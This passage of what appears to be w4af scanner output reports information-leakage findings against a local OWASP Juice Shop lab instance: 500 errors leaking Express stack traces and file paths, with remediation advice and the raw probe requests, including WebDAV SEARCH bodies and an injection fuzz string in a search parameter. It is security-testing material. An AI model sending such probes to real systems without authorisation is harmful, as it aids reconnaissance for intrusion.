(/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
An unhandled error, which could potentially translate to a vulnerability, was found at: "http://localhost:3000/api/Challenges/", using HTTP method GET. The sent data was: "name=" The modified parameter was "name". This vulnerability was found in the requests with ids 16065, 16187 and 16233.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
nameEnsure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
GET http://localhost:3000/api/Challenges/?name=Score%20Board HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 648\r\nETag: W/"288-+6MXCxbAAzddYJ6OcfJM5xJ4Tgg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:13 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[{"id":74,"key":"scoreBoardChallenge","name":"Score Board","category":"Miscellaneous","tags":"Tutorial,Code Analysis","description":"Find the carefully hidden \'Score Board\' page.","difficulty":1,"hint":"Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_find_the_carefully_hidden_score_board_page","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":1,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"}]}'
GET http://localhost:3000/api/Challenges/?name=AxWiVTbn HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache If-none-match: W/"288-+6MXCxbAAzddYJ6OcfJM5xJ4Tgg" Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 30\r\nETag: W/"1e-JkPcI+pGj7BBTxOuZTVVIm91zaY"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:19 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[]}'
GET http://localhost:3000/api/Challenges/?name= HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache If-none-match: W/"288-+6MXCxbAAzddYJ6OcfJM5xJ4Tgg" Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 30\r\nETag: W/"1e-JkPcI+pGj7BBTxOuZTVVIm91zaY"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:21 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[]}'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/api/rRVdO". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16058.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/api/rRVdO HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* mX9SAq
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:13 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api/rRVdO</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api/rRVdO</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/api/". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16060.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
SEARCH http://localhost:3000/api/ HTTP/1.1 User-agent: w4af.net Content-type: application/xml; charset="utf-8" Accept-encoding: gzip, deflate Content-length: 135 Host: localhost:3000 Accept: */* <?xml version='1.0'?> <g:searchrequest xmlns:g='DAV:'> <g:sql> Select 'DAV:displayname' from scope() </g:sql> </g:searchrequest>
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:13 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api/</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api/</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16407.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
SEARCH http://localhost:3000/rest/ HTTP/1.1 User-agent: w4af.net Content-type: application/xml; charset="utf-8" Accept-encoding: gzip, deflate Content-length: 135 Host: localhost:3000 Accept: */* <?xml version='1.0'?> <g:searchrequest xmlns:g='DAV:'> <g:sql> Select 'DAV:displayname' from scope() </g:sql> </g:searchrequest>
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/admin/". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16413.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
SEARCH http://localhost:3000/rest/admin/ HTTP/1.1 User-agent: w4af.net Content-type: application/xml; charset="utf-8" Accept-encoding: gzip, deflate Content-length: 135 Host: localhost:3000 Accept: */* <?xml version='1.0'?> <g:searchrequest xmlns:g='DAV:'> <g:sql> Select 'DAV:displayname' from scope() </g:sql> </g:searchrequest>
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/admin/</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/admin/</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/admin/hUKKf". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16416.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/rest/admin/hUKKf HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* 0GXgyY
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/admin/hUKKf</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/admin/hUKKf</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/products/search". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16459.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
GET http://localhost:3000/rest/products/search?q=ed9yz%3Ced9yzed9yz--%3Eed9yzed9yz%2A%2Fed9yzed9yz%2A%2F%3A%28%22%27ed9yzed9yz%3Aed9yzed9yz%0Aed9yzed9yz%22ed9yzed9yz%27ed9yzed9yz%60ed9yzed9yz%20%3Ded9yz HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
